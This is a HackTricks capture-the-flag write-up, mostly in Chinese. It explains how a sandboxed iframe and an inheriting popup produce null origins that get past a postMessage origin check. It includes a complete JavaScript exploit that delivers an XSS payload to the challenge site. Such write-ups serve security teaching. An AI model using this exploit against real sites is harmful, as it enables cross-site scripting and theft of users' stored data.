Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

在这个由 NDevTKTerjanq 创建的 挑战 中,你需要利用编码中的 XSS。

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

主要问题是主页面使用DomPurify发送data.body,因此为了将自己的html数据发送到该代码,您需要绕过e.origin !== window.origin

让我们看看他们提出的解决方案。

SOP绕过1 (e.origin === null)

//example.org嵌入到一个沙盒iframe中时,页面的将是**null,即window.origin === null。因此,仅通过使用<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">嵌入iframe,我们可以强制null源**。

如果页面是可嵌入的,您可以通过这种方式绕过该保护(cookies可能也需要设置为SameSite=None)。

SOP绕过2 (window.origin === null)

较少为人知的事实是,当沙盒值allow-popups被设置时,打开的弹出窗口继承所有沙盒属性,除非设置了allow-popups-to-escape-sandbox。 因此,从null源打开弹出窗口将使弹出窗口内的**window.origin也为null**。

挑战解决方案

因此,对于这个挑战,可以创建一个iframe打开一个弹出窗口到具有易受攻击的XSS代码处理程序的页面(/iframe.php),因为window.origin === e.origin因为两者都是null,所以可以发送一个有效载荷来利用XSS

有效载荷将获取标识符并将XSS发送回到主页面(打开弹出窗口的页面),这将使位置更改为易受攻击的/iframe.php。因为标识符是已知的,所以不管条件window.origin === e.origin是否满足都无关紧要(请记住,源是来自具有为**null的iframe的弹出窗口**),因为data.identifier === identifier。然后,XSS将再次触发,这次在正确的源中。

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
支持 HackTricks

Last updated